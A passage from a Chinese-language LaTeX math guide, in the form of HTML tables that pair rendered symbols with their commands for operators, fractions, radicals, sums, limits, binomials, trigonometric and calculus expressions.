的环境时，就会进入显示模式。有关带参数的符号（例如求和符号）在两种模式下的行为，请参阅指南的命令部分。</p><p>在以下每张图中，两幅图像分别显示了符号的显示模式和内联模式。</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>∑\sum</span><span><span><span></span><span>∑</span></span></span></span></td><td><code>\sum</code></td><td><span><span>∫\int</span><span><span><span></span><span>∫</span></span></span></span></td><td><code>\int</code></td><td><span><span>∮\oint</span><span><span><span></span><span>∮</span></span></span></span></td><td><code>\oint</code></td></tr><tr><td><span><span>∏\prod</span><span><span><span></span><span>∏</span></span></span></span></td><td><code>\prod</code></td><td><span><span>∐\coprod</span><span><span><span></span><span>∐</span></span></span></span></td><td><code>\coprod</code></td><td><span><span>⋂\bigcap</span><span><span><span></span><span>⋂</span></span></span></span></td><td><code>\bigcap</code></td></tr><tr><td><span><span>⋃\bigcup</span><span><span><span></span><span>⋃</span></span></span></span></td><td><code>\bigcup</code></td><td><span><span>⨆\bigsqcup</span><span><span><span></span><span>⨆</span></span></span></span></td><td><code>\bigsqcup</code></td><td><span><span>⋁\bigvee</span><span><span><span></span><span>⋁</span></span></span></span></td><td><code>\bigvee</code></td></tr><tr><td><span><span>⋀\bigwedge</span><span><span><span></span><span>⋀</span></span></span></span></td><td><code>\bigwedge</code></td><td><span><span>⨀\bigodot</span><span><span><span></span><span>⨀</span></span></span></span></td><td><code>\bigodot</code></td><td><span><span>⨂\bigotimes</span><span><span><span></span><span>⨂</span></span></span></span></td><td><code>\bigotimes</code></td></tr><tr><td><span><span>⨁\bigoplus</span><span><span><span></span><span>⨁</span></span></span></span></td><td><code>\bigoplus</code></td><td><span><span>⨄\biguplus</span><span><span><span></span><span>⨄</span></span></span></span></td><td><code>\biguplus</code></td><td></td><td></td></tr></tbody></table></section></section>
<section><h1>Commands<a href="#commands"><span>#</span></a></h1><section><h2>Subscripts and Superscripts<a href="#subscripts-and-superscripts"><span>#</span></a></h2><p>下标和上标（例如指数）分别可以用下划线 _ 和脱字符 ^ 符号表示。</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>222^2</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></td><td><code>2^2</code></td><td><span><span>aia_i</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>a_i</code></td></tr><tr><td><span><span>2232^{23}</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span>23</span></span></span></span></span></span></span></span></span></span></span></span></td><td><code>2^{23}</code></td><td><span><span>ni−1n_{i-1}</span><span><span><span></span><span><span>n</span><span><span><span><span><span><span></span><span><span><span>i</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>n_{i-1}</code></td></tr><tr><td><span><span>a3i+1a^{i+1}_3</span><span><span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>3</span></span></span><span><span></span><span><span><span>i</span><span>+</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>a^{i+1}_3</code></td><td><span><span>x32x^{3^2}</span><span><span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span><span><span>3</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></td><td><code>x^{3^2}</code></td></tr><tr><td><span><span>2ai2^{a_i}</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span><span><span>a</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></td><td><code>2^{a_i}</code></td><td><span><span>2ia2^a_i</span><span><span><span></span><span><span>2</span><span><span><span><span><span><span></span><span><span>i</span></span></span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>2^a_i</code></td></tr></tbody></table><p>注意，我们可以同时使用下标和上标。对于包含多个字符的下标或上标，必须用花括号将指数/上标括起来。例如，x^10 表示 x^10，而 x^{10} 表示 x^{10}。</p></section><section><h2>Math Commands<a href="#math-commands"><span>#</span></a></h2><p>以下是一些 \LaTeX中常用的数学命令：</p><section><h3>Fractions<a href="#fractions"><span>#</span></a></h3>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>12or12\frac{1}{2} or \frac12</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>or</span><span><span></span><span><span><span><span><span><span></span><span><span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\frac{1}{2} or \frac12</code></td></tr><tr><td><span><span>2x+2\frac{2}{x+2}</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>x</span><span>+</span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>2</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\frac{2}{x+2}</code></td></tr><tr><td><span><span>1+1x3x+2\frac{1+\frac{1}{x}}{3x + 2}</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>3</span><span>x</span><span>+</span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span><span>+</span><span><span></span><span><span><span><span><span><span></span><span><span><span>x</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\frac{1+\frac{1}{x}}{3x + 2}</code></td></tr></tbody></table><p>注意，对于分子和分母均为一位数的分数，我们可以直接将分子和分母合并为一个数字。但是，对于分子或分母包含多个字符（或分子以字母开头）的分数，则需要将所有内容用花括号括起来。</p><p>使用 \cfrac 表示连分数。</p>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Expression</td><td>Command</td></tr><tr><td><span><span>21+21+21+21\cfrac{2}{1+\cfrac{2}{1+\cfrac{2}{1+\cfrac{2}{1}}}}</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>1</span><span></span><span>+</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>1</span><span></span><span>+</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>1</span><span></span><span>+</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>1</span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\cfrac{2}{1+\cfrac{2}{1+\cfrac{2}{1+\cfrac{2}{1}}}}</code></td></tr></tbody></table></section><section><h3>Radicals<a href="#radicals"><span>#</span></a></h3>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>3\sqrt{3}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>3</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\sqrt{3}</code></td></tr><tr><td><span><span>x+y\sqrt{x+y}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>x</span><span></span><span>+</span><span></span><span>y</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\sqrt{x+y}</code></td></tr><tr><td><span><span>x+12\sqrt{x+\frac{1}{2}}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>x</span><span></span><span>+</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>2</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\sqrt{x+\frac{1}{2}}</code></td></tr><tr><td><span><span>33\sqrt[3]{3}</span><span><span><span></span><span><span><span><span><span><span><span></span><span><span><span>3</span></span></span></span></span></span></span></span><span><span><span><span><span></span><span><span>3</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\sqrt[3]{3}</code></td></tr><tr><td><span><span>xn\sqrt[n]{x}</span><span><span><span></span><span><span><span><span><span><span><span></span><span><span><span>n</span></span></span></span></span></span></span></span><span><span><span><span><span></span><span><span>x</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\sqrt[n]{x}</code></td></tr></tbody></table></section><section><h3>Sums, Products, Limits and Logarithms<a href="#sums-products-limits-and-logarithms"><span>#</span></a></h3><p>分别使用命令 <code>\sum\prod\lim</code> 和 <code>\log</code>。要表示下界和上界，或者对数的底数，请使用 <code>_</code> 和 <code>^</code>，用法与下标和上标相同。（积分的下界和上界也以同样的方式表示，您将在微积分部分看到。）</p>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>∑i=1∞1i\sum_{i=1}^{\infty}\frac{1}{i}</span><span><span><span></span><span><span>∑</span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>1</span></span></span></span><span><span></span><span><span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\sum_{i=1}^{\infty}\frac{1}{i}</code></td></tr><tr><td><span><span>∏n=15nn−1\prod_{n=1}^5\frac{n}{n-1}</span><span><span><span></span><span><span>∏</span><span><span><span><span><span><span></span><span><span><span>n</span><span>=</span><span>1</span></span></span></span><span><span></span><span><span>5</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>n</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>n</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\prod_{n=1}^5\frac{n}{n-1}</code></td></tr><tr><td><span><span>lim⁡x→∞1x\lim_{x\to\infty}\frac{1}{x}</span><span><span><span></span><span><span>lim</span><span><span><span><span><span><span></span><span><span><span>x</span><span>→</span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>x</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\lim_{x\to\infty}\frac{1}{x}</code></td></tr><tr><td><span><span>lim⁡x→∞1x\lim\limits_{x\to\infty}\frac{1}{x}</span><span><span><span></span><span><span><span><span><span><span></span><span><span><span>x</span><span>→</span><span>∞</span></span></span></span><span><span></span><span><span>lim</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>x</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\lim\limits_{x\to\infty}\frac{1}{x}</code></td></tr><tr><td><span><span>log⁡nn2\log_n n^2</span><span><span><span></span><span><span>lo<span>g</span></span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span>n</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></td><td><code>\log_n n^2</code></td></tr></tbody></table><p>有些图片在显示模式下更漂亮：</p>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>∑i=1∞1i\sum_{i=1}^{\infty}\frac{1}{i}</span><span><span><span></span><span><span>∑</span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>1</span></span></span></span><span><span></span><span><span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\sum_{i=1}^{\infty}\frac{1}{i}</code></td></tr><tr><td><span><span>∏n=15nn−1\prod_{n=1}^5\frac{n}{n-1}</span><span><span><span></span><span><span>∏</span><span><span><span><span><span><span></span><span><span><span>n</span><span>=</span><span>1</span></span></span></span><span><span></span><span><span>5</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>n</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>n</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\prod_{n=1}^5\frac{n}{n-1}</code></td></tr><tr><td><span><span>lim⁡x→∞1x\lim_{x\to\infty}\frac{1}{x}</span><span><span><span></span><span><span>lim</span><span><span><span><span><span><span></span><span><span><span>x</span><span>→</span><span>∞</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>x</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\lim_{x\to\infty}\frac{1}{x}</code></td></tr></tbody></table><p>请注意，我们可以使用不带 _ 或 ^ 修饰符的求和、乘积和对数。</p>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>∑1i\sum\frac{1}{i}</span><span><span><span></span><span>∑</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\sum\frac{1}{i}</code></td></tr><tr><td><span><span>∏nn−1\prod\frac{n}{n-1}</span><span><span><span></span><span>∏</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>n</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>n</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\prod\frac{n}{n-1}</code></td></tr><tr><td><span><span>log⁡n2\log n^2</span><span><span><span></span><span>lo<span>g</span></span><span></span><span><span>n</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></td><td><code>\log n^2</code></td></tr><tr><td><span><span>ln⁡e\ln e</span><span><span><span></span><span>ln</span><span></span><span>e</span></span></span></span></td><td><code>\ln e</code></td></tr></tbody></table></section><section><h3>Mods<a href="#mods"><span>#</span></a></h3>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>9≡3 mod 69\equiv 3 \bmod{6}</span><span><span><span></span><span>9</span><span></span><span>≡</span><span></span></span><span><span></span><span>3</span><span></span><span></span><span><span><span>mod</span></span></span><span></span><span></span></span><span><span></span><span><span>6</span></span></span></span></span></td><td><code>9\equiv 3 \bmod{6}</code></td></tr><tr><td><span><span>9≡3(mod6)9\equiv 3 \pmod{6}</span><span><span><span></span><span>9</span><span></span><span>≡</span><span></span></span><span><span></span><span>3</span><span></span><span></span></span><span><span></span><span>(</span><span><span><span>mod</span></span></span><span></span><span>6</span><span>)</span></span></span></span></td><td><code>9\equiv 3 \pmod{6}</code></td></tr><tr><td><span><span>9≡3mod  69\equiv 3 \mod{6}</span><span><span><span></span><span>9</span><span></span><span>≡</span><span></span></span><span><span></span><span>3</span><span></span><span></span></span><span><span></span><span><span><span>mod</span></span></span><span></span><span></span><span>6</span></span></span></span></td><td><code>9\equiv 3 \mod{6}</code></td></tr><tr><td><span><span>9≡3(6)9\equiv 3 \pod{6}</span><span><span><span></span><span>9</span><span></span><span>≡</span><span></span></span><span><span></span><span>3</span><span></span><span></span></span><span><span></span><span>(</span><span>6</span><span>)</span></span></span></span></td><td><code>9\equiv 3 \pod{6}</code></td></tr></tbody></table></section><section><h3>Combinations<a href="#combinations"><span>#</span></a></h3>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>(11)\binom{1}{1}</span><span><span><span></span><span><span><span>(</span></span><span><span><span><span><span><span></span><span><span><span>1</span></span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span>)</span></span></span></span></span></span></td><td><code>\binom{1}{1}</code></td></tr><tr><td><span><span>(n−1r−1)\binom{n-1}{r-1}</span><span><span><span></span><span><span><span>(</span></span><span><span><span><span><span><span></span><span><span><span>r</span><span>−</span><span>1</span></span></span></span><span><span></span><span><span><span>n</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span>)</span></span></span></span></span></span></td><td><code>\binom{n-1}{r-1}</code></td></tr></tbody></table><p>这些图片在显示模式下通常看起来更好：</p>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>(93)\dbinom{9}{3}</span><span><span><span></span><span><span><span>(</span></span><span><span><span><span><span><span></span><span><span>3</span></span></span><span><span></span><span><span>9</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span>)</span></span></span></span></span></span></td><td><code>\dbinom{9}{3}</code></td></tr><tr><td><span><span>(n−1r−1)\dbinom{n-1}{r-1}</span><span><span><span></span><span><span><span>(</span></span><span><span><span><span><span><span></span><span><span>r</span><span></span><span>−</span><span></span><span>1</span></span></span><span><span></span><span><span>n</span><span></span><span>−</span><span></span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span><span>)</span></span></span></span></span></span></td><td><code>\dbinom{n-1}{r-1}</code></td></tr></tbody></table></section><section><h3>Trigonometric Functions<a href="#trigonometric-functions"><span>#</span></a></h3><p>其中大多数只是三角函数的缩写，只是在缩写前加了一个反斜杠。</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>cos⁡\cos</span><span><span><span></span><span>cos</span></span></span></span></td><td><code>\cos</code></td><td><span><span>sin⁡\sin</span><span><span><span></span><span>sin</span></span></span></span></td><td><code>\sin</code></td><td><span><span>tan⁡\tan</span><span><span><span></span><span>tan</span></span></span></span></td><td><code>\tan</code></td></tr><tr><td><span><span>sec⁡\sec</span><span><span><span></span><span>sec</span></span></span></span></td><td><code>\sec</code></td><td><span><span>csc⁡\csc</span><span><span><span></span><span>csc</span></span></span></span></td><td><code>\csc</code></td><td><span><span>cot⁡\cot</span><span><span><span></span><span>cot</span></span></span></span></td><td><code>\cot</code></td></tr><tr><td><span><span>arccos⁡\arccos</span><span><span><span></span><span>arccos</span></span></span></span></td><td><code>\arccos</code></td><td><span><span>arcsin⁡\arcsin</span><span><span><span></span><span>arcsin</span></span></span></span></td><td><code>\arcsin</code></td><td><span><span>arctan⁡\arctan</span><span><span><span></span><span>arctan</span></span></span></span></td><td><code>\arctan</code></td></tr><tr><td><span><span>cosh⁡\cosh</span><span><span><span></span><span>cosh</span></span></span></span></td><td><code>\cosh</code></td><td><span><span>sinh⁡\sinh</span><span><span><span></span><span>sinh</span></span></span></span></td><td><code>\sinh</code></td><td><span><span>tanh⁡\tanh</span><span><span><span></span><span>tanh</span></span></span></span></td><td><code>\tanh</code></td></tr><tr><td><span><span>coth⁡\coth</span><span><span><span></span><span>coth</span></span></span></span></td><td><code>\coth</code></td><td></td><td></td><td></td><td></td></tr></tbody></table><p>以下是一些例子：</p>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>cos⁡2x+sin⁡2x=1\cos^2 x +\sin^2 x = 1</span><span><span><span></span><span><span>cos</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>x</span><span></span><span>+</span><span></span></span><span><span></span><span><span>sin</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>x</span><span></span><span>=</span><span></span></span><span><span></span><span>1</span></span></span></span></td><td><code>\cos^2 x +\sin^2 x = 1</code></td></tr><tr><td><span><span>cos⁡90∘=0\cos 90^\circ = 0</span><span><span><span></span><span>cos</span><span></span><span>9</span><span><span>0</span><span><span><span><span><span><span></span><span><span>∘</span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>0</span></span></span></span></td><td><code>\cos 90^\circ = 0</code></td></tr></tbody></table></section><section><h3>Calculus<a href="#calculus"><span>#</span></a></h3><p>以下是 LaTeX 中微积分表达式的示例。其中大部分命令之前已经介绍过。请注意定积分的渲染方式（以及定积分的行内数学公式和显示模式之间的区别）。积分中的反斜杠 (\,) 会在 dx 前添加一个小空格。</p>

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td></tr><tr><td><span><span>ddx(x2)=2x\frac{d}{dx}\left(x^2\right) = 2x</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>d</span><span>x</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>d</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span><span><span>(</span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span><span>)</span></span></span><span></span><span>=</span><span></span></span><span><span></span><span>2</span><span>x</span></span></span></span></td><td><code>\frac{d}{dx}\left(x^2\right) = 2x</code></td></tr><tr><td><span><span>∫2x dx=x2+C\int 2x\,dx = x^2+C</span><span><span><span></span><span>∫</span><span></span><span>2</span><span>x</span><span></span><span>d</span><span>x</span><span></span><span>=</span><span></span></span><span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>C</span></span></span></span></td><td><code>\int 2x\,dx = x^2+C</code></td></tr><tr><td><span><span>∫152x dx=24\int^5_1 2x\,dx = 24</span><span><span><span></span><span><span>∫</span><span><span><span><span><span><span></span><span><span>1</span></span></span><span><span></span><span><span>5</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>2</span><span>x</span><span></span><span>d</span><span>x</span><span></span><span>=</span><span></span></span><span><span></span><span>24</span></span></span></span></td><td><code>\int^5_1 2x\,dx = 24</code></td></tr><tr><td><span><span>∂2U∂x2+∂2U∂y2\frac{\partial^2U}{\partial x^2} + \frac{\partial^2U}{\partial y^2}</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>∂</span><span><span>x</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>∂</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>U</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>∂</span><span><span>y</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>∂</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>U</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></td><td><code>\frac{\partial^2U}{\partial x^2} + \frac{\partial^2U}{\partial y^2}</code></td></tr><tr><td><span><span>14π∮Σ1r∂U∂nds\frac{1}{4\pi}\oint_\Sigma\frac{1}{r}\frac{\partial U}{\partial n} ds</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>4</span><span>π</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span><span>∮</span><span><span><span><span><span><span></span><span><span>Σ</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>r</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>∂</span><span>n</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>∂</span><span>U</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>d</span><span>s</span></span></span></span></td><td><code>\frac{1}{4\pi}\oint_\Sigma\frac{1}{r}\frac{\partial U}{\partial n} ds</code></td></tr></tbody></table></section></section><section><h2>LaTeX<a href="#latex"><span>#</span></a></h2><section><h3>Other Functions<a href="#other-functions"><span>#</span></a></h3>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>arg⁡\arg</span><span><span><span></span><span>ar<span>g</span></span></span></span></span></td><td><code>\arg</code></td><td><span><span>deg⁡\deg</span><span><span><span></span><span>de<span>g</span></span></span></span></span></td><td><code>\deg</code></td><td><span><span>det⁡\det</span><span><span><span></span><span>det</span></span></span></span></td><td><code>\det</code></td></tr><tr><td><span><span>dim⁡\dim</span><span><span><span></span><span>dim</span></span></span></span></td><td><code>\dim</code></td><td><span><span>exp⁡\exp</span><span><span><span></span><span>exp</span></span></span></span></td><td><code>\exp</code></td><td><span><span>gcd⁡\gcd</span><span><span><span></span><span><span>g</span>cd</span></span></span></span></td><td><code>\gcd</code></td></tr><tr><td><span><span>hom⁡\hom</span><span><span><span></span><span>hom</span></span></span></span></td><td><code>\hom</code></td><td><span><span>inf⁡\inf</span><span><span><span></span><span>in<span>f</span></span></span></span></span></td><td><code>\inf</code></td><td><span><span>ker⁡\ker</span><span><span><span></span><span>ker</span></span></span></span></td><td><code>\ker</code></td></tr><tr><td><span><span>lg⁡\lg</span><span><span><span></span><span>l<span>g</span></span></span></span></span></td><td><code>\lg</code></td><td><span><span>lim inf⁡\liminf</span><span><span><span></span><span><span>lim</span><span></span><span>inf</span></span></span></span></span></td><td><code>\liminf</code></td><td><span><span>lim sup⁡\limsup</span><span><span><span></span><span><span>lim</span><span></span><span>sup</span></span></span></span></span></td><td><code>\limsup</code></td></tr><tr><td><span><span>max⁡\max</span><span><span><span></span><span>max</span></span></span></span></td><td><code>\max</code></td><td><span><span>min⁡\min</span><span><span><span></span><span>min</span></span></span></span></td><td><code>\min</code></td><td><span><span>Pr⁡\Pr</span><span><span><span></span><span>Pr</span></span></span></span></td><td><code>\Pr</code></td></tr><tr><td><span><span>sup⁡\sup</span><span><span><span></span><span>sup</span></span></span></span></td><td><code>\sup</code></td><td></td><td><code>\smiley</code></td><td></td><td></td></tr></tbody></table><p>有些命令像求和、乘法和对数运算一样，会使用下标。有些命令在显示模式和内联数学模式下的渲染方式不同。</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>dim⁡x\dim_x</span><span><span><span></span><span><span>dim</span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\dim_x</code></td><td><span><span>gcd⁡x\gcd_x</span><span><span><span></span><span><span><span>g</span>cd</span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\gcd_x</code></td><td><span><span>inf⁡x\inf_x</span><span><span><span></span><span><span>in<span>f</span></span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\inf_x</code></td></tr><tr><td><span><span>lim inf⁡x\liminf_x</span><span><span><span></span><span><span><span>lim</span><span></span><span>inf</span></span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\liminf_x</code></td><td><span><span>lim 